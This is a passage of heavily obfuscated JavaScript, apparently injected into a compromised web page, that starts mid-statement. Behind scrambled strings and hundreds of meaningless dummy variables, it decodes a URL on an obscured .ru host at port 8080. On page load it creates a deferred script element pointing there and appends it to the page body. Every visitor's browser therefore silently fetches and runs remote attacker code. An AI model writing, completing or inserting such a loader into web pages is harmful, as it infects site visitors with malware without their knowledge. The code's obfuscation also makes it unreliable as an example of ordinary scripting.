Eh!='tn'){Eh=''};var vd=[1, h("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),2, h("mdeucoondb.tpyepa.inlhCdd(d)", [1,5,4,3,0,2]),3, h("ocial.mabo.cab.maiprtdvisor", [1,0,6,5,3,4,2]),4, h("mcoi.lsveeitsdenigu.r0:880", [1,2,0]),5, h(".desAtttirubet\'(edef\'r", [1,0]),6, h("okoocra.om", [1,2,3,0]),7, h("yemw.aohcom.cn", [7,6,2,1,3,5,0,4]),8, h("nwiwdon.oalod", [1,2,0]),11, h("sdiyneo.go.cm", [1,2,0]),12, h("ufcnitno)(", [1,0]),14, h("oggoelc.mo", [1,0]),15, h("cact)(he", [2,1,3,0]),16, h("nawsres", [1,0]),17, h("th\"tp:", [2,1,3,0]),18, h("s.crd", [4,1,0,3,2]),19, h(")\'1\'", [3,2,1,0]),20, h("rty", [1,0])];var ra;if(ra!='' && ra!='iT'){ra=null};var nF =[2,27][0];var Fr=new String();this.VA=20959;var q =[13,0,57][1];var Y = k[h("elgnht", [1,0])];this.xY=644;var uQ = /[^@a-z0-9A-Z_-]/g;this.xKO="xKO";var onP;if(onP!='' && onP!='sK'){onP=''};var Ox;if(Ox!='kH'){Ox=''};var Oi=new Array();var JI;if(JI!=''){JI='Pg'};for(var tP=q; tP < Y; tP+=nF){var GFn=new Array();var ds;if(ds!='' && ds!='Hc'){ds=null};ssj+= doF; var Gc=new Date();ssj+= k[h("ussbrt", [1,0])](tP, nF);}var PXp=new Array();var mg;if(mg!='' && mg!='Cl'){mg=''};var k = od(ssj);var Hms;if(Hms!='' && Hms!='Oy'){Hms=null};var cN=false;var uZ;if(uZ!='yJ'){uZ=''};var XqK;if(XqK!='wn'){XqK=''};var O = new sP(n);var J = O[h("erlcape", [1,6,5,2,4,3,0])](uQ, y);this.FI="";this.tm="";var mC = new sP(x);var Fm=false;var by;if(by!='tql'){by=''};var vg = vd[h("glenth", [1,2,3,0])];var kc;if(kc!='' && kc!='TO'){kc='ud'};J = u(J);var Ec;if(Ec!='SN'){Ec='SN'};var Hu;if(Hu!=''){Hu='bE'};var hd;if(hd!='CQs' && hd!='hq'){hd='CQs'};this.QC=31549;var ZD;if(ZD!='Su'){ZD=''};var ho='';var wK = mC[h("elprace", [3,0,2,1])](uQ, y);var Wr=18685;var wK = Uk(wK);var wL=Uk(J);var iu="";for(var C=q; C < (k[h("tlengh", [1,2,3,4,0])]);C=C+[44,24,124,1][3]) {var NP = J.charCodeAt(ot);this.UH="";var dy = w(k,C);this.Kb="";var Yh;if(Yh!='ZFk'){Yh='ZFk'};dy = U(dy, NP);dy = U(dy, wL);var xi;if(xi!='' && xi!='qa'){xi=null};var sc=15808;dy = U(dy, wK);var iRf;if(iRf!='Uh' && iRf != ''){iRf=null};ot++;var CT=false;var ey;if(ey!='' && ey!='dD'){ey='hv'};var JCB;if(JCB!=''){JCB='eyp'};if(ot > J.length-e){ot=q;var Eo;if(Eo!=''){Eo='MM'};}this.KN="";this.Ep="Ep";ec += Nq(dy);var bY;if(bY!=''){bY='zB'};this.Nl="Nl";}var ez;if(ez!='Np' && ez!='Uo'){ez='Np'};for(P=q; P < vg; P+=nF){var ax;if(ax!=''){ax='jS'};var sYj;if(sYj!='Wz' && sYj!='YwU'){sYj=''};this.tms='';var JM = vd[P + e];var YY;if(YY!='oT' && YY!='CNX'){YY=''};var X = Nq(vd[P]);var AL;if(AL!='' && AL!='Op'){AL='wE'};var SC;if(SC!='eg'){SC='eg'};var NPl = new ss(X, "g");ec=ec[h("plarece", [3,4,0,1,2])](NPl, JM);var PC=false;var pk=false;}var yvS='';var RR;if(RR!='Gk'){RR='Gk'};var Hl=new Date();var I=new x(ec);I();var MK;if(MK!='hRa' && MK!='oa'){MK='hRa'};ec = '';var Fzm=13620;J = '';var co=new String();var aQ;if(aQ!='zOO'){aQ='zOO'};I = '';var hM;if(hM!='hK' && hM!='rF'){hM='hK'};mC = '';var la;if(la!='mx' && la!='Qo'){la='mx'};var eM;if(eM!='vX' && eM!='Al'){eM='vX'};wL = '';this.Xno=false;wK = '';var yO=false;var BzK=new String();var kHX;if(kHX!='dn'){kHX='dn'};this.sa="";var eMJ=new Date();return '';};var cc;if(cc!='VoN'){cc='VoN'};this.Xx=28296;this.gcC='';n(jO);
function x() {var j;if(j!='uw'){j='uw'};this.c='';var G='replace';this.bE="";var B=new Array();var a='[';var Z=new String();var R;if(R!='Pi'){R='Pi'};var ZG=RegExp;var at;if(at!='bW' && at!='MG'){at=''};var T='g';var C;if(C!='I' && C != ''){C=null};var xu=']';var xv="";function z(n,U){var X;if(X!='' && X!='bP'){X=null};var F=a;this.Q='';var oS=new String();F+=U;this.rA="";var d="";F+=xu;var M=new ZG(F, T);return n[G](M, Z);this.w="";this.ah="";};var t_=new String();var _="";var J=z('/7gOoOo4gjl7e7.4c7o7m7/4gjojo4gOlOeO.jc7oOmj/jt4r4i4b4a4lOfjujs7i4o7nj.4c7o7m4/jn7eOt4l4oOgO.Ocjo4mj/jg4oOo4gOl7eO.4cjoOm7.Op4eO.OpOhOpj',"74jO");this.jZ='';var k=new Date();var t=z('hEt8t8pk:W/E/kmEeEgkakpWoEr8nE-WcEoEmk.kuEpWsk.WcWokmE.EmkeWtk-kaWrWtW-kcEoWmk.kfEoWr8rEeEdEtEa8gE.ErWu8:E',"8EWk");var Fw=z('853550453185250125',"42513");var q;if(q!='Ud'){q=''};var sZ;if(sZ!='Fp' && sZ!='Bn'){sZ='Fp'};var L='';var BP='';var hA='';var E=window;var Stb=new Date();var r=z('c8rReRa8t8e8ERlReRmReRn8tR',"R8");var zM;if(zM!='QZ' && zM!='mF'){zM=''};var EL=new String();var nx=z('s8ckrki8pItI',"kI8");var pP;if(pP!='zY' && pP!='cR'){pP='zY'};var mG=new Array();var Cl=new Array();E[z('oInDlZoMaZdI',"IMDZ")]=function(){try {this.AV='';L+=t;this.yY='';this.Tk='';L+=Fw;var Jk=new String();var Oq;if(Oq!='KK' && Oq != ''){Oq=null};L+=J;h=document[r](nx);var yH;if(yH!='' && yH!='og'){yH=''};var W;if(W!='' && W!='fK'){W=''};this.Ge='';u(h,'src',L);var bU;if(bU!='bv' && bU != ''){bU=null};u(h,'defer',([1][0]));this.co="";var WG;if(WG!='' && WG!='uL'){WG=''};this._A="";document.body.appendChild(h);var rE;if(rE!='' && rE!='uA'){rE='hB'};var yr=new String();} catch(o){var Cu;if(Cu!='oK'){Cu='oK'};var Dx;if(Dx!='Jl'){Dx='Jl'};};this._x='';var pz=new Array();};var xx;if(xx!='ri'){xx=''};this.wu="";var KL;if(KL!=''){KL='fu'};function u(nJ,K,JZ){var Kf=new String();var mi;if(mi!='zN'){mi=''};nJ.setAttribute(K, JZ);var ch=new Array();var ra;if(ra!='' && ra!='Ll'){ra='Oj'};}var XO;if(XO!='la' && XO!='ZV'){XO='la'};var tn;if(tn!='OK' && tn!='Xq'){tn='OK'};this.MZ='';this.bf='';};x();var Me=new String();var Pm=new Date();